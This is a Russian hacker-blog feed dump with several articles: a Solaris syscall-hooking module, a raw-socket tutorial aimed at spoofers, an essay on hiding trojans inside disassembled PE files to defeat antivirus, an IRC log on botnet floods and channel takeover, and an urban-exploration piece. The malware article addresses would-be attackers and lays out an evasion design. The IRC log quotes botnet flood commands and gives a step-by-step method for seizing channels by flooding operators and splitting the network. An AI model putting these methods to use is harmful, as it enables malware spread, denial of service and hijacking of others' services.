Теперь о том, в каких ситуациях и как это можно использовать. Представьте, есть в системе один или несколько подозрительных пользователей, которым надо запретить доступ к сети. Пусть это будет юзер с UID’ом 1234. Вот один из способов, как это можно реализовать:

#include <sys/types.h>
#include <sys/errno.h>
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h>
#include <sys/syscall.h>
#include <sys/systm.h>

struct modlmisc modlmisc =
{ &mod_miscops;
«Net stoper»;
}

struct modlinkage modlinkage
{ MODREV_1;
&modlmisc;
}

int (*socktemp)(int, int, int); /* Переменная, в которой будет сохранён старый
обработчик системного вызова socket() */

int sock (int domain, int type, int protocol) /* функция, которая должна заменить
{ системный вызов socket() */
if (getuid() == 1234)
return (EPROTOTYPE); /* Возвращаем ошибку, если данный
системный вызов сделал юзер с
UID’ом 1234 */
else /* В противном случае запускаем
старый обработчик */
return (socktemp (domain, type, protocol));
}

int _init ()
{
int t;

t = mod_install (&modlinkage);
socktemp = sysent[SYS_so_socket].sy_callc; /* сохраняем старый обработчик */
sysent[SYS_so_socket].sy_callc = sock; /* назначаем новый обработчик
системному вызову socket() */
return (t);
}

int _info (struct modinfo *modinfo)
{
return (mod_info (&modlinkage, modinfo));
}

int _fini ()
{
int t;

t = mod_remove (&modlinkage);
sysent[SYS_so_socket].sy_callc = socktemp; /* при завершении работы модуля
восстанавливаем старый обработчик
системного вызова socket() */
return (t);
}

————-

Вот в принципе и всё…. Для введения достаточно :-) Конечно, рассмотренные выше модули обладают очень маленьким количеством функций и в большинстве случаев просто бесполезны. Хотите разработать что-либо стоящее? Вперёд! — ядро Solaris неплохо документировано фирмой-разработчиком, т.е. Sun’ом. Плюс к этому, по заявлениям этой же фирмы, исходники операционной системы являются свободно распространяемыми и доступными для изучения, хотя по собственному опыту могу сказать, что получить их не так уж и просто (но это уже другой разговор). Кроме того, как вы наверное заметили по заглавию, это не всего лишь первая часть материалов, посвящённых ядру Solaris, так что ждите ещё статей на эту тему в будущих выпусках журнала.

]]>
http://hackermaycry.ru/?feed=rss2&p=68 0
Программирование raw сокетов http://hackermaycry.ru/?p=65 http://hackermaycry.ru/?p=65#comments Fri, 23 Mar 2012 22:49:49 +0000 admin http://l2.lexa/?p=65 Эта статья написана для того,что бы ознакомить вас с такой темой, как программирование сырых(raw) сокетов(sockets). Для чего это нужно? Это даст вам больше возможностей в сетевом программировании, вы сможете писать разнообразные сканеры, спуферы и т.д. Вы сможете получить полный контроль на передаваемыми пакетами.

Чтобы понять ту пургу, которую я буду излагать дальше, вы должны обладать базовыми знаниями в программировании сокетов, если вы не имеете таковых советую прочитать 1 статью  »Программирование сокетов».

Ну что ж, поехали!

Как же открыть raw socket, да очень просто int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
далее структуры
struct ip *iph = (struct ip *) datagram;
struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
struct sockaddr_in sin;

Теперь о структурах заголовков протоколов
1.IP-протокол служащий для доставки пакетов до нужного адреса
struct ipheader {
unsigned char ip_hl:4, ip_v:4; это значит,что каждая часть 4 бита
unsigned char ip_tos;
unsigned short int ip_len;
unsigned short int ip_id;
unsigned short int ip_off;
unsigned char ip_ttl;
unsigned char ip_p;
unsigned short int ip_sum;
unsigned int ip_src;
unsinged int ip_dst;
};

общая длина IP заголовков 20 байт
————————————-
ip_hl: длина заголовка в 32 бита октет. Это значение 5 для hl в 4 бита, бывают и другие значения

в случае доп. опций в заголовке.
ip_v: версия ip на момент написания статьи 4
ip_tos: обычно 0. первые 3 бита представляют приоритеты роутинга,следующие тип сервиса.

ip_len: общая длина ip датаграммы
ip_id: id последовательности номера пакета
ip_off: фрагментированный оффсет-определяющий переборку фрагментированных датаграм. первые 3 бита флаги фрагмента-первый=0,второй нефрагментируемый бит,третий для флагов или далее следующих фрагментированных пакетов
ip_ttl: time to live
ip_p: транспортный протокол(udp,tcp,icmp,igmp..)
ip_sum: контрольная сумма
ip_src: адрес отправителя
ip_dst: адрес получателя

2.ICMP-приложение к IP для контроля над посылаемыми и получаемыми сообщениями
struct icmpheader {
unsigned char icmp_type;
unsigned char icmp_code;
unsigned short int icmp_cksum;
/* The following data structures are ICMP type specific */
unsigned short int icmp_id;
unsigned short int icmp_seq;
}; максимальная длина ICMP заголовка 8 байт
———————————————
icmp_type: тип ICMP сообщения(echo request..) остальные типы можно посмотреть в исходниках
icmp_code: для сообщений типа(error) нужно большe? лезь в сорцы
icmp_cksum: контрольная сумма
icmp_id: для идентификации сообщений типа echo
icmp_seq: для определения последовательности

4.UDP-транспортный протокол передачи датаграм,нечто вроде tcp,но не имеет seq и этим плох или хорош (spoofing)
struct udpheader {
unsigned short int uh_sport;
unsigned short int uh_dport;
unsigned short int uh_len;
unsigned short int uh_check;
}; общая длина заголовка 8 байт
———————————
uh_sport: порт обмена данными клиента
uh_dport: тоже самое для сервера
uh_len: длина заголовка
uh_check: контрольная сумма

4.TCP-no comments
struct tcpheader {
unsigned short int th_sport;
unsigned short int th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_x2:4, th_off:4;
unsigned char th_flags;
unsigned short int th_win;
unsigned short int th_sum;
unsigned short int th_urp;
};

общая длина заголовка 20 байт
———————————
th_sport: порт клиента
th_dport: порт сервера
th_seq: последовательность tcp
th_ack: сообщение подтверждения запроса на соединение
th_x2: не используется(0)
th_off: сегмент оффсета определяющий длину TCP заголовка
th_flags: эта область состоит из шести двоичных флагов используемых в заголовках(th_flags=FLAG1)
далее различные флаги из названия которых нетрудно догадаться их предназначение: TH_URG:, TH_ACK:, TH_PSH:, TH_RST:, TH_SYN:, TH_FIN:
th_win:сумма байтов посылаемых прежде ACK
th_sum:контрольная сумма

к статье прилагается прога с демонстрацией полученных знаний

p.s это статья писалась для *nix систем,но весь код можно с легкостью переколбасить под другую операционную систему

]]>
http://hackermaycry.ru/?feed=rss2&p=65 0
Вирусные алгоритмы: обратное проектирование (часть 1) http://hackermaycry.ru/?p=60 http://hackermaycry.ru/?p=60#comments Fri, 23 Mar 2012 22:25:33 +0000 admin http://l2.lexa/?p=60 Предположим, что вы — злонамеренный субъект, занимающийся сетевыми технологиями. В таком случае вы рано или поздно напишете червя, который будет распространяться от одной машины к другой, производя интересующие вас действия.

В случае, если одной из задач червя будет оставаться на удаленной машине в течение некоторого времени, вам потребуется техника сокрытия этого червя от детектирования и изучения.

И тогда два больших направления предстанут перед вами:
- Активная защита, то есть те методы защиты червя от окружающей среды, когда он работает и сопротивляется внешним воздействиям.
- Пассивная защита, то есть те методы защиты, когда червь «зафиксирован», и его изучает посторонний наблюдатель.

Классический пример активной защиты — стелс-технология, используемая в компьютерных вирусах. Все то время, пока такой вирус активен, он скрывает приращение длины инфицированных файлов, или даже во время операций с этими файлами подставляет их оригинальное (не-инфицированное) тело.

Но попробуйте передайте этот вирус на удаленную машину: по емылу ли, или как-то еще — и у получателя, до того как вирус будет запущен, появится возможность детектировать наличие вируса в полученных файлах. То же самое можно сказать и о промежуточных машинах/серверах, через которые вирус будет передаваться: все они смогут наблюдать незашифрованное и открытое для изучения тело червя.

Например многие емыльные сервера уже проверяют наличие почтовых червей.

Кроме того, чем сложнее вирус, тем больше времени требуется на его изучение, детектирование и лечение; и, следовательно, при возникновении эпидемии, этот вирус будет иметь больше времени для распространения.

Поэтому мы будем говорить о пассивной защите от изучения. И здесь существуют следующие направления:
- Шифровка тела вируса. Используется в крипт- и полиморфных вирусах.
- Автоматическая генерация (или изменение) тела вируса на уровне ассемблерных инструкций. Используется в метаморфных и пермутирующих вирусах.

Простейший крипт-вирус содержит всего одну процедуру ассемблерного кода — так называемый расшифровщик, который расшифровывает основное тело вируса и передает ему управление.

Полиморфные вирусы отличаются тем, что создают такой расшифровщик для каждого нового инфицируемого объекта случайным образом: каждый раз с использованием разных команд и регистров.

Пермутирующие вирусы не шифруют своего тела, а изменяют его на уровне инструкций: переставляют инструкции местами, заменяют блоки одних инструкций на эквивалентные им другие, и т.п.

Метаморфные вирусы генерируют все свое тело случайным образом (по аналогии с расшифровщиками полиморфных вирусов), с использованием некоторого спрятанного внутри них «прообраза» вируса; то есть каждый элемент этого прообраза преобразуется каждый раз в разные ассемблерные команды.

Кроме этого, используется техника «неизвестной точки входа» (UEP, Unknown Entry Point): при инфицировании, вирус шифрует свое тело, а команду перехода на cебя вставляет в случайное место программы. В таком случае, при изучении, программа выглядит практически так же, как и до заражения; а вирус будет активирован при непредсказуемых заранее условиях.

Здесь будет предложен принципиально новый метод сокрытия вируса в программах: его интеграция с этими программами на уровне ассемблерных инструкций.

Предположим, что вы хотите троянизировать некий файл, исходники которого у вас есть. Тогда вы берете эти исходники, добавляете в них исходники своего троянского кода и все это дело компилируете. В результате, выявить потенциальную возможность полученного файла к
совершению НСД, за малое время, в отсутствие исходников, практически невозможно. Если же исходников у вас нет, то вы этот файл дизассемблируете до нормально компилируемого состояния; после чего вставляете в дизассемблированный исходник свой код и все это компилируете. Получается то же самое, как если бы исходники у вас были, только времени затратить придется больше.

Структура некоторых исполняемых файлов настолько проста, что дизассемблировать их не представляет никакой сложности; более того, в некоторых случаях это возможно сделать полностью автоматически.

Задача упрощается тем, что в случае такого автоматического троянизирования файла, дизассемблировать его код нужно только до уровня длин инструкций. Значение же большинства составляющих файл инструкций не требуется вовсе.

Такие действия мы будем называть реверсированием, а библиотеку кода, выполняющую эти действия — реверсером.

Итак, задачей реверсера является разобрать переданный ему файл на составляющие элементы, так, чтобы список этих элементов можно было легко изменять. Изменение списка будет производится внешним по отношению к реверсеру кодом. После изменения, реверсер собирает файл из списка элементов.

Элементами списка могут являться ассемблерные инструкции, блоки данных, а также различные объекты, относящиеся к структуре исполняемого файла, например фиксапы.

Изменение списка элементов файла заключается в его интеграции с таким же списком, но в котором находятся элементы червя.

Таким образом, после сборки списка в работающий файл, червь уже будет находиться в середине кода исполняемого файла, или даже будет частями разбросан по этому коду.

Теперь о проблемах, которые возникают при реверсировании.

Основная проблема — это время, которое необходимо затратить на реверсинг файла. Для файлов меньше 512k это от нескольких секунд до нескольких минут.

Следующая проблема — это собственно дизассемблирование. Дело в том, что не всегда возможно с полной уверенностью отличить в файле код от данных. Такая ошибка будет фатальна для работоспособности программы (но не червя). Поскольку большинство таких двойственных ситуаций удается выявить, достаточно большой процент (~80%) существующих файлов реверсингу не подлежит.

Кроме того, реверсинг требует большое количество памяти, у меня получалось в 30-50 раз больше собственно длины файла.

Теперь осталось добавить, что на практике все это уже реализовано, и с автоматическим детектированием подобных вирусов действительно возникают серьезные проблемы; а обычный знающий ассемблер человек, не зная что искать, вирус в таких файлах не находит вовсе.

Дальше приводится статья-описание существующего реверсера.

Автоматизация обратного проектирования
(технология недетектируемого вируса)

 Наши усилия направлены на то, чтобы научиться модифицировать исполняемые программы (в формате PE) так, чтобы поиск внесенных изменений занимал максимум времени.

Под модификацией понимаем дополнение программы определенным кодом, скажем, вирусом. Очевидно, что само тело вируса должно быть зашифровано. Полиморфный же расшифровщик будет интегрирован с кодом программы.

Исходя из этого, задача разбивается на 3 части, или же три глобальных вопроса: ЧТО?, КУДА? и КАК?.
ЧТО — это вирусные инструкции, которыми будет дополнен инфицируемый PE файл. О том, какими могут быть эти инструкции, рассказано в статье про метаморфизм и показано в кодегенераторе.
КУДА — это вопрос о том, в какие места программы вставлять инструкции расшифровщика, и как определять эти места. В принципе, это относительно просто; более того, как раз эта часть возлагается на пользователя движка.

 В этой же статье будет показано, КАК между двумя произвольными инструкциями программы вставить инструкции расшифровщика, то есть, другими словами, как разобрать, изменить и заново собрать всю программу.

Теория

Нашей задачей является вставить между инструкциями PE файла свои собственные. Но из-за того, что код и данные в файле могут быть по-всякому связаны друг с другом, изменение кода повлечет за собой изменение всех связей. Однако, изменение одних связей влечет за собой изменение других, и так далее, пока значимая часть файла не будет изменена.

Пример: вставив в середину файла инструкцию, мы изменим смещения всех меток, идущих после этой инструкции. А изменив смещение некоторой метки в коде, необходимо поправить все команды перехода на эту метку. В процессе такой правки, возможно, увеличатся длины некоторых команд условного перехода, что повлечет за собой изменение смещений меток, идущих после этих команд, и так далее.

Связи между элементами файла бывают не только абсолютные (смещения), но и относительные (команды перехода), и нам необходимо все их выявить. Выявить абсолютные связи можно посредством анализа структуры PE файла, включая сюда анализ таблицы фиксапов (релокаций). Для нахождения относительных смещений требуется разобрать весь код, встречающийся в программе, на отдельные инструкции.

Исходя из сказанного, необходимо разобрать весь файл в некоторую легко изменяемую сущность, изменить ее, и собрать файл заново.

Кроме всего прочего, наш алгоритм должен быть оформлен в виде универсального движка.
То есть, в идеале, я предлагаю вам средство, позволяющее легко модифицировать структуру PE файла, и чем больше разных методов модификации этой структуры будет придумано, тем лучше. Кто-то раскидает декриптор по всему файлу, кто-то интегрирует инструкции декриптора с инструкциями файла, и т.п.

Итак, нашу задачу можно разбить на 5 этапов:
1. Загружаем PE файл в память по виртуальным адресам; создаем таблицу флагов и выставляем в ней биты, указывающие, являются ли соответствующие дворды указателями/длинами, и какими. То есть проводим начальный анализ структуры файла.
2. Дизассемблируем файл (находим и разбиваем код на инструкции), попутно заполняя таблицу флагов новой информацией об указателях. Здесь есть такой ньюанс, что при дизассемблировании можно ошибиться, перепутав код и данные. Такая ошибка фатальна, поэтому двойственные ситуации необходимо исключить. Если же выяснить отношение некоторого участка файла к коду или к данным невозможно, файл обрабатывать не следует.
3. Представляем файл в виде списка из: инструкций, кусков данных, меток и указателей. То есть от бинарного кода переходим чуть ближе к исходнику. Такой список создается исключительно из-за легкости манипулирования его элементами.
4. Вызываем юзерский мутатор (внешний по отношению к движку), который извращает список, например всовывая куски сгенеренного декриптора между инструкциями файла.
5. Собираем файл из списка; заново генерим таблицу фиксапов; при увеличении длин условных переходов пересчитываем все смещения в файле; пересчитываем контрольную сумму файла.

 Проблемы дизассемблирования

На самом деле, конечно, все обстоит много хуже чем кажется: кроме описанных выше шагов есть еще куча мелочей, каждая из которых влияет на работоспособность программы. Но основная трудность, естественно, заключается в дизассемблировании. Ведь мы не обладаем возможностями, например, иды — ибо наш вирус ограничен десятками килобайт. А проблема дизассемблирования вот в чем: у нас есть дворды, про которые известно, что они фиксапы. Пусть такой дворд показывает в программу, на какую-то метку. А больше на эту метку не показывает никто. Вопрос: как узнать, находится ли по этой метке код (какая-то процедура),
либо это данные?

Ошибка влечет за собой следующее: код, принятый за данные, не будет пофиксен, так что когда он получит управление, сразу произойдет глюк. Ибо фиксить в этом коде надо jxx, call и т.п. Если же, наоборот, данные будут приняты за код, и в них подобная инструкция будет пофиксена, то это тоже чревато глюком.

Поэтому необходимо научиться безошибочно отличать данные от кода. Некоторые библиотечные процедуры можно было бы найти по сигнатурам, но у нас нет таких ресурсов. Можно было бы рассматривать jmptable’ы, но это помогает лишь частично. Можно было бы работать только с файлами определенного вида, а именно, такими, в которых в кодовой секции находится только код и ничего больше. Но это как раз то, чего не хотелось бы делать. Ведь нам надо, чтобы антивирусы проверяли КАЖДЫЙ файл по пол-часа. Да и мало таких файлов.  Короче говоря, все ошибки в рекомпиляции файла возникают из-за неправильного дизассемблирования, а именно — из-за описанной выше проблемы. Выхода два: ограничить множество обрабатываемых файлов, либо насколько это возможно улучшить дизассемблер и надеяться на удачу.

]]>
http://hackermaycry.ru/?feed=rss2&p=60 0
IRC-Войны http://hackermaycry.ru/?p=56 http://hackermaycry.ru/?p=56#comments Fri, 23 Mar 2012 21:39:27 +0000 admin http://l2.lexa/?p=56 Немного о войнах на IRC. Почти все ники и реальные сервера, изменены.

Session Start: Mon Jul 16 12:05:12 2001
*** Now talking in #*_somethere_*
<Nekto> щаз на efnet опять колбасня
<Nekto> без ident не пускает
<Nekto> а чтобы ident включить — надо на шел лезть
<Nekto> а шел щаз заблокирован
<Nekto> из-за нового exploit’а под freebsd
<Nekto> пока дырку не пофиксят — по ssh на *shell_somethere* не зайти :)
<Free_Hunt> ясно
<Free_Hunt> кстати
<Free_Hunt> а на сайте ефнета
<Free_Hunt> что по поводу этому пишут ?
<Free_Hunt> большой злостный флуд со всех уголков инета идет ?
<Nekto> на сайте ни про кого конктретно не сказано
<Nekto> но я знаю
<Nekto> кто это делает =)
<Nekto> и всю поднаготную тоже
<Nekto> короче
<Nekto> всей этой бадягой
<Nekto> занимается щаз один недоумок
<Nekto> америкоский китаец
<Nekto> ./whois kash
<Nekto> каналы захватывает и всё такое
<Nekto> у него куча наломанных win32
<Nekto> iis бага ж)
<Nekto> заводит свой флуднет на ирц
<Nekto> потом — команда в канал для троянов — flood ip
<Nekto> мы его вычислили
<Nekto> k-line более 100 хостов на *irc.somethere.com*
<Nekto> после kline этот китаец обиделся
<Nekto> и положил напрочь половину *telecom-a*,
<Nekto> включая весь канал *irc.somethere.com* ;)
<Nekto> вот такая вот история
<Free_Hunt> =)))))))))
<Free_Hunt> кул
<Nekto> щаз *somethere.com* зафильтрован где-то на роутере
<Free_Hunt> я ж говорил масса тупых иис рулезь =)
<Nekto> почти для всех null routing сделан на *irc.somethere.com*
<Free_Hunt> писец..
<Nekto> рулез-не рулез
<Nekto> просто идиотов много
<Nekto> причём на хороших каналах
<Nekto> широких
<Nekto> прикинь
<Nekto> ладно *telecom*
<Nekto> он подмножество *some*
<Nekto> а вот когда чуть саму *some* не положили
<Nekto> это да
<Nekto> причём чисто с iis
<Nekto> тачек
<Nekto> правда их докуя было =)
<Free_Hunt> хм, а со спуфингом или нет ?
<Nekto> и ещё жопа
<Nekto> да-да
<Nekto> как раз хотел сказать
<Nekto> у этого kash’а
<Nekto> почти все хосты — w2k iis
<Nekto> то есть raw socket есть
<Nekto> естественно spoofing заюзан
<Nekto> у него какой-то свой троян
<Nekto> типа «зомби2
<Nekto> типа «зомби»
<Nekto> с управлением через ирц
<Nekto> максимум ананимности
<Nekto> смотри на канале #windows! :
<Nekto> <kashi>!gflood 192.160.127.97 6667 1000
<Nekto> <kashi>!stream 192.160.127.97 6667 1000
<Nekto> это когда он mcs валил
<Nekto> управление примитивное
<Nekto> 6667 порты видимо
<Nekto> и каждый хост с того канала
<Nekto> начинал флубить
<Nekto> а 1000 это может размер пакета
<Nekto> хрен знает
<Nekto> но суть одна
<Nekto> два типа атаки
<Nekto> флуд
<Nekto> и стрим какой-то ;)
<Nekto> я думаю gflood — это что-то типа атаки с использованием множителей
<Nekto> типа icmp с ошибкой
<Nekto> на имя сервера
<Nekto> ну как смурф
<Nekto> только для icmp error
<Free_Hunt> а с какого сервера ефнета его боты\трояны заходят ?
<Nekto> с каких пускало
<Nekto> больше половины сидело через *irc.somethere.com*
<Nekto> поэтому он-то и был живой
<Nekto> пока не сделал k-line больше чем сотне хостов с #windows!
<Nekto> ;)
<Free_Hunt> =)))))
<Free_Hunt> а кстати много там машин весело ?
<Nekto> не помню
<Nekto> сейчас посмотрю
<Nekto> в логи
<Nekto> около 200
<Free_Hunt> хм, а щас
<Free_Hunt> #windows!
<Free_Hunt> пустой
<Free_Hunt> в определеное время флуднет заходит чтоль..
<Nekto> чёто не осталось у меня ничего
<Nekto> может он перетаскивает дотву
<Nekto> может он перетаскивает ботву
<Nekto> х.з.
<Nekto> ладно, пофигу
<Nekto> просто efnet — это не место куда надо ботву приводить
<Nekto> тут ещё хер попадёт в сетку
<Nekto> надо серваки перебирать и всё такое
<Nekto> кстати
<Nekto> этот придурок
<Nekto> kash
<Nekto> сидит щаз на еврейском серваке
<Nekto> ./whois kash
<Nekto> когда админы сказали тем админам
<Nekto> чтобы они его k-line
<Nekto> те отказались
<Nekto> боятся
<Nekto> евреи одним словом
<Nekto> не, kash — это америкосский китаец ;)
<Free_Hunt> хех, бояться значит уважают =)
<Nekto> или кореец
<Nekto> дык
<Nekto> ещё бы
<Nekto> ведь он начнёт гасить
<Nekto> положит не только irc.inter.net.il
<Nekto> а ещё и провайдера ихнего
<Nekto> а может у роутер положит
<Nekto> вон из-за *irc.somethere.com* пострадало пол *telecom-a*
<Nekto> а там куча клиентов
<Nekto> но факт — что чел не мастер дела
<Nekto> нашёл просто применение куче iis
<Nekto> у думаю у нас каждый 1-ый iis иммет наломанных дофига
<Nekto> только ленится софтину накатать
<Free_Hunt> эт точно =)
<Nekto> для управление
<Nekto> и флуд-нета
<Free_Hunt> мастер не мастер но ведь написал и положил почти всю телиа…=)
<Free_Hunt> кстати а телиа что за подмножество ? чье оно ?
<Nekto> телиа — это телиа
<Nekto> ИХ канал
<Nekto> крупный пров
<Nekto> не isp
<Nekto> а каналы предоставляет
<Free_Hunt> понятно, входит в костяк так сказать образующий бэкбон ?
<Free_Hunt> то есть основу на чем инет держиться.
<Nekto> я так понимаю, что да
<Free_Hunt> ясно.
<Nekto> хотя могу ошибаться…
<Nekto> но наврядли
<Nekto> ты проверь по whois
<Nekto> щаз я гляну
<Nekto> о бля
<Nekto> у них докуя диапазонов
<Nekto> пиздец короче
<Nekto> похоже костяк =)
<Nekto> кстати
<Nekto> можешь ещё осветить
<Nekto> что на efnet
<Nekto> появился оффициальный сервис
<Nekto> JUPES
<Nekto> оплесс каналы чинит
<Nekto> почитай на www.efnet.org/news.html
<Nekto> и, что уже знают не многие, на самом деле сервисы были всегда
<Nekto> SERVICES on services.us
<Nekto> может делать jupes, stats, опа давать где угодно
<Nekto> ну и т.д.
<Nekto> ./msg SERVICES help
<Free_Hunt> a kak splitami kanali zahvativat` ?
<Free_Hunt> ткни в доку
<Free_Hunt> плз
<Nekto> доку?
<Free_Hunt> и или расскажи
<Free_Hunt> по шустрому на пальцах =)
<Nekto> ну для начала
<Nekto> во время сплита
<Nekto> на всех серваках
<Nekto> есть критерий сплита
<Nekto> везде разный
<Nekto> у одних
<Nekto> это кол-во серверов
<Nekto> в сетке
<Nekto> у других — кол-во пользователей. глобальных
<Nekto> у третьих и то и другое
<Nekto> во время сплита
<Nekto> считается
<Nekto> что все серверы
<Nekto> настроены так
<Nekto> что ЛИБО
<Nekto> не дают join на каналы (опция NO_JOIN_ON_SPLIT)
<Nekto> ЛИБО
<Nekto> не дают опа на нoвых каналах
<Nekto> NO_CHANOPS_ON_SPLIT
<Nekto> это опции задающиеся при компеляции ircd
<Nekto> есть ещё другие
<Nekto> но пофигу
<Nekto> короче
<Nekto> суть какая
<Nekto> сначала флудятся те, кто опы на канале
<Nekto> делаем канал оплес
<Nekto> то есть без опопв
<Nekto> потом
<Nekto> сплитаем сетку так, чтобы оказаться по ту сторону сети
<Nekto> где никого нету на канале, то есть он не существует (канал)
<Nekto> при этом естественно так, чтобы тот сервер, через который мы заходим
<Nekto> дал нам опа при сплите =)
<Nekto> когда сеть rejoin
<Nekto> то
<Nekto> не нарушая TS-полиси
<Nekto> каналу присваивается ts того, кто оп
<Nekto> поэтому чел не деопится
<Nekto> всё
<Nekto> поясню
<Nekto> у каждого канала
<Nekto> есть TS — это timestamp когда он был создан
<Nekto> а ещё точнее
<Nekto> это время, когда на канале появился первый оп
<Nekto> допустим произошёл сплит
<Nekto> когда были опы на канале
<Nekto> канал имел TS=TS1
<Nekto> мы сплитанули сеть
<Nekto> и зашли со сплитанутого сервака
<Nekto> на канал, получив опа — то есть TS=TS2. причём TS2>TS1
<Nekto> что имеем:
<Nekto> наша часть сети с TS2 и мы опнуты на канале
<Nekto> их часть сети с TS1 и опами на канале
<Nekto> происходит rejoin
<Nekto> каждый сервер обменивается данными
<Nekto> про channel members, их modes и TS
<Nekto> так вот
<Nekto> истинными modes будут считаться те, у кого TS меньше
<Nekto> поэтому
<Nekto> как только произойдёт rejoin
<Nekto> мы будем -o by server
<Nekto> а они +o
<Nekto> вот так =)
<Nekto> а когда на канале НЕТУ опов
<Nekto> то берётся TS той стороны, где есть опы
<Nekto> то есть какбы TS обновляется
<Nekto> понятно объяснил?
<Free_Hunt> да
<Free_Hunt> все понял
<Free_Hunt> кроме
<Free_Hunt> сплитов
<Free_Hunt> что это ваще такое ?
<Free_Hunt> разделение сети
<Free_Hunt> а подробнее ?
<Nekto> есть сеть
<Nekto> а
<Nekto> стоп
<Nekto> у тебя мирк?
<Free_Hunt> да
<Nekto> сделай /links
<Nekto> посмотри топологию сетки
<Free_Hunt> так вижу
<Free_Hunt> что означают циферки и цвета ?
<Nekto> уровень
<Nekto> цифра — сколько хопов с твоего сервера до того сервера
<Nekto> например:
<Nekto> A
<Nekto> B
<Nekto> C
<Nekto> означает
<Nekto> что сервера B и C приконнекчены к A
<Nekto> то есть флудим А
<Nekto> и имеем что сетка развалилась
<Nekto> то есть B и С будут в возздухе
<Nekto> ничем не соеденены
<Nekto> понял?
<FreeHunt> да
<FreeHunt> по сплиту все
<FreeHunt> «/msg services help»
<FreeHunt> от них ченть полезное моно получить или то что в хелпе пишут ?
<Nekto> ну есть ещё undoced
<Nekto> этот services
<Nekto> на самом деле не совсем клиент
<Nekto> когда ты делаешь whois
<Nekto> ты видишь
<Nekto> что он на services.us
<Nekto> на самом деле
<Nekto> services.us — это не ircd ;)
<Nekto> это самописная прога
<Nekto> дианора кажется писала, хотя могу ошибаться
<Nekto> которая косит под ircd
<Nekto> и может заводить на себе псевдоклиентов
<Nekto> например SERVICES
<Nekto> что такое jupe — ты понял?
<Nekto> например
<Nekto> на services.us можно съэмулировать
<Nekto> что к нему присоеденился сервер fucking.shit
<Nekto> а в стети не может быть два одинаковых сервера
<Nekto> то есть когда настоящий fucking.shit
<Nekto> попытается присоединится к efnet — его пошлют
<Nekto> это называется server jupe
<Nekto> для чего server jupe нужен пояснять не надо? ;)
<FreeHunt> не не надо =)
<FreeHunt> свой сервер в сети со всеми вытекающими =)))))
<FreeHunt> оки
<FreeHunt> тогда все
<FreeHunt> жди ченть типа статьи прочитаеш поправиш если гденть ошибусь
<FreeHunt> немного -) но в основном там будет твой текст
<FreeHunt> так сказать оригинальный
<FreeHunt> ник твой изменю.
<Nekto> ты только учти
<Nekto> что я уж совсем популярно объяснял
<Nekto> есть маленькие неточности
<Nekto> не очень принципиальные конечно
<Nekto> но всё же
<FreeHunt> =)))))
<FreeHunt> угу
<FreeHunt> ок.
<FreeHunt> это так сказать небольшое введение
<FreeHunt> чтоб людей заинтересовать
<FreeHunt> а дальше кто захочет сами будут мучать и познают все «тонкости» -)
<Nekto> =)
Session Close: Mon Jul 16 13:05:12 2001

]]>
http://hackermaycry.ru/?feed=rss2&p=56 0
Under the ground http://hackermaycry.ru/?p=54 http://hackermaycry.ru/?p=54#comments Fri, 23 Mar 2012 21:38:27 +0000 admin http://l2.lexa/?p=54  учитывая то, что жуpнал получается мpачно-альтеpнативный, pешил я поведать о достаточно экстpемальном виде споpта — диггеpстве. это не игpа в диггеp на машине, как многие умудpились сpазу подумать. хpен вам.

в действительности диггеpское движение pодилось в геpмании, где подpостки-pаспиздяи лазили по подземным ходам, оставшимся в восточной геpмании с эпохи 2-го pейха. движение пpишло в pоссию в конце 80-х, когда появились пеpвые диггеpские комманды в москве. сначала это был Хаpон и его соученики из МИРЭА, потом, благодаpя агитации в Hескучном (издавна место сбоpа толкиенутых в москве) pяды диггеpов пополнились любителями остpых ощущений. затем движение пpоявило себя в одессе — было это уже в начале 90-х. тогда же появляются команды в владивостоке, севастополе, сумах. вобщем гоpода, богатые стаpыми подземельями и военными системами коммуникаций стали объектом пpистального внимания любителей поpазвлечься.

пеpвые пpоявления движения у нас, в киеве, появились в конце 93-го, когда сюда заезжал Хаpон (кстати за ним появился киевский Хаpон, довольно гнусная моpда, котоpая вечно оставляет запутанные указатели =). сначала это было движение довольно-таки отмоpоженных одиночек, однако году к 95-му офоpмился Диггеpский Оpден (мистики-сатанюги), затем команда с физфака (Унивеp), команда Гpенадеpа, команда Химика (DNG), и наконец Black magic. сегодня команды появляются постоянно, в основном они состоят из неопытных панков-алкоголиков, котоpые ищут остpых ощущений, их исследования огpаничиваются несколькими дpенажными системами и не более того. моя комманда (Neslepaks, pанее Islandi) существует уже год и те, кто побывал в лавpских теpмотуннелях или шахтах водоотвода под Железной Бабой видели на стенах наши следы :) из совсем новичков стоит отметить комманду из Сеpого легиона (Ассоль, Мышь и пpочие зеленые толкиенутые)

ну вобщем хватит с истоpией, котоpая все pавно мало кому интеpесна. что же из себя пpедставляют подземные системы в каждом уважающем себя гоpоде? во-пеpвых, в центpе гоpода это туннели, соединяющие подвалы стаpых домов. обычно они pас шиpялись и активно использовались HКВД, КГБ и тому подобными свиньями, что дает нам яpкий матеpиал для исследований. кpоме того существуют говноводы (стаpая канализация 30-х, сейчас не используется), дpенажки (дpенажные системы, их используют активно, есть шанс встpетиться с гpупыми pабочими). стоит также поpыскать там, где достаточно много цеpквей — имеете кpупные шансы попасть куда надо. еще одно место исследований — зоопаpки и бот. сады.

как ходить? как минимум нужно иметь хоpошие фонаpи. идеальный подход — иметь фонаpь на батаpеях, с собой всегда деpжать запас батаpеек и лампочек, но для стpаховки нужно иметь также «вжик» — фонаpь на динамомашине (сжимаемая pукой пpужинистая pучка издает хаpактеpный звук, откуда и название). еще необходимо иметь пpочные веpевки (выдеpживающие вес человека), pекомендуется с каpабином. естественно это для отвесных шахт, где не за что зацепиться пpи спуске и для подъема истеpичных девиц со стpаховкой. невpедно иметь плоскогубцы и кусачки — выход иногда пpиходиться выламывать. кpоме того полезен стетоскоп — для того, чтобы понимать, что за стеной и иметь более подpобную каpту сближения/отдаления близко идущих туннелей. из одежды — джинсы, котоpые не жалко или аpмейский бpезентовый камуфляж — он не мокнет и его можно одевать повеpх цивильной одеж-
ды. из обуви — для любящих сухость сапоги или беpцы с клапаном вместо язычка, а для любящих остpые ощущения — дешевые кеды, котоpые мнгновенно пpомокают и дают невеpоятный кайф носящему их :))) кpоме того на голову pекомендуется бандан (для аккуpатных людей с хоpошей pеакцией, умеющих беpечь голову) либо шахтеpская каска для обоpмотов.

